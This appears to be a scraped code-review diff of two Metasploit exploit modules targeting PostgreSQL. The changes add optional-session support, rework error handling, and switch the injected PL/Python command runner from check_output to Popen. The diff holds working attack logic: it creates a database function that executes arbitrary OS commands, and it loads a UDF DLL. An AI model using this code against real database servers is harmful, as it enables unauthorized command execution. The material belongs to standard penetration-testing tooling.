vprint_error "#{postgres_conn.address}:#{postgres_conn.port} - error occurred loading #{language}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -114,16 +108,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
case select_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
elog(select_query[:sql_error])
|
||||
|
||||
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
|
||||
unless missing_executable_match.nil?
|
||||
print_error "#{missing_executable_match} - The target binary was not found on the target."
|
||||
return false
|
||||
end
|
||||
|
||||
if select_query[:sql_error].match? 'execution expired'
|
||||
print_warning 'Timed out. The function was potentially executed.'
|
||||
return true
|
||||
end
|
||||
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Exploit successful"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Exploit successful"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -139,23 +146,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
load_func = postgres_query(query)
|
||||
when /^python(?:2|3)?/i
|
||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
||||
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
|
||||
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
|
||||
query << "$$ LANGUAGE pl#{language}u"
|
||||
load_func = postgres_query(query)
|
||||
end
|
||||
|
||||
case load_func.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} Exploit failed"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Exploit failed"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Loaded UDF (exec_#{func_name})"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -168,8 +175,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
||||
return :exists if match_exists
|
||||
|
||||
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
|
||||
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
|
||||
return :not_exists if match_error
|
||||
|
||||
# Default to something sane
|
||||
:not_exists
|
||||
end
|
||||
|
||||
def do_login(user, pass, database)
|
||||
|
@ -191,6 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
self.postgres_conn = session.client if session
|
||||
return unless vuln_version?
|
||||
return unless login_success?
|
||||
|
||||
|
@ -204,6 +215,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
break
|
||||
end
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
postgres_logout if @postgres_conn && session.blank?
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::OptionalSession
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
|
@ -58,7 +59,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper.
|
||||
'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
|
@ -77,12 +79,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
self.postgres_conn = session.client if session
|
||||
version = do_login(username,password,database)
|
||||
case version
|
||||
when :noauth; print_error "Authentication failed"; return
|
||||
when :noconn; print_error "Connection failed"; return
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{version}")
|
||||
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
|
||||
end
|
||||
|
||||
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
||||
|
@ -104,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
rescue RuntimeError => e
|
||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
postgres_logout if @postgres_conn && session.blank?
|
||||
|
||||
end
|
||||
|
||||
|
@ -114,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def do_login(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
|
@ -122,8 +125,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
if result[:auth]
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:host => postgres_conn.address,
|
||||
:port => postgres_conn.port,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue